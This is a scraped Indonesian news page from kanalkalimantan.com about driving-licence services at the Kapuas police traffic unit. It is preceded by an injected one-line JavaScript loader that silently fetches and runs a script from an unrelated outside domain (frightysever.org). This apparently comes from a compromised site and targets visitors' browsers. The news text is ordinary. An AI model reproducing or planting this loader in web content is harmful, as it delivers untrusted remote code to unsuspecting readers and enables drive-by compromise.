(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, KUALA KAPUAS – Pelayanan Satuan Lalulintas (Satlantas) Polres Kapuas dalam proses pengurusan Surat Izin Mengemudi (SIM) patut diapresiasi.
Apresiasi tersebut dikatakan Rahmad Ariyadi (39) salah satu warga Kabupaten Kapuas.
“Pelayanan pengurusan SIM di Satlantas Polres Kapuas semakin bagus,” kata Rahmad, Senin (14/2/2022).
Baca juga: Asal Usul Mie Instan, Ini Merek Pertama di Indonesia
Menurut Rahmad, petugas pelayanan sangat membantu dan ramah dalam melayani.
“Saat saya melakukan pemohonan SIM, mekanisme seusai prosedur, hanya membayar sesuai PNBP saja. Jadi bikin SIM di Polres Kapuas cukup nyaman,” ungkapnya.
Kasat Lantas Polres Kapuas, AKP Sugeng melalui Kanit Regident Ipda Taufik Hidayat, mengucapkan terima kasih atas apresiasi yang diberikan oleh warga Kapuas.
“Ini akan dijadikan motivasi dkami dalam meningkatkan mutu pelayanan, baik dari sumber daya manusia maupun sarana pendukung,” ucapnya.
Pelayanan yang sudah dirasakan masyarakat merupakan komitmen Satpas SIM Satlantas Kapuas dalam memberikan pelayanan prima.
Baca juga: Batik Blitar Dipesan Pebasket NBA Justin Holiday
Sementara itu, untuk tahapan membuat SIM, sebelum masuk ke proses pembuatannya, perlu dicatat syarat utamanya yaitu sudah berusia 17 tahun.
Ketentuan lainnya, seperti bisa menguasai mengemudikan mobil atau mengendarai sepeda motor, hingga sehat jasmani dan rohani.
Menurut Kanit Regident, para pemohon SIM, siapkan KTP asli disertai fotokopi. Setelah itu, beralih ke tempat pengecekan kesehatan dan bagian sidik jari.
Selanjutnya, kata dia, pemohon menuju ruangan Satpas SIM untuk melakukan pendaftaran dan membayar di loket bank sesuai PNBP.
Langkah selanjutnya, masuk ke ruang foto untuk difoto, sidik jari dan tanda tangan. Selebihnya, ada proses lanjutan, yakni diarahkan ke tempat uji teori. Setelah terjawab semua nanti keluar hasilnya apakah lulus atau tidak. Jika nilainya bagus, maka bisa melanjutkan ke tes praktek.
“Jika tidak lulus pada saat praktek harus mengikuti uji praktek lagi 1-2 minggu kedepan, namun bagi pemohon yang juga tetap tidak lulus, maka uang yang telah dibayarkan ke bank tersebut akan dikembalikan dengan jatuh tempo 1 bulan,” jelasnya.
Baca juga: Petaka Ritual di Pantai, 10 Jemaah Padepokan Tunggal Jati Nusantara Tewas Digulung Ombak
Sementara, bagi pemohon yang lulus praktek akan diarahkan langsung ke loket pelayanan untuk mengambil SIM tersebut dan tidak ada lagi biaya yang harus dikeluarkan.
“Kami mengimbau bagi pengendara bermotor yang masa berlaku SIM akan habis agar segera diurus. Lakukan perpanjangan beberapa hari sebelum masa SIM berlaku habis,” ingatnya. (kanalkalimantan.com/ags)
Reporter : ags
Editor : kk
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.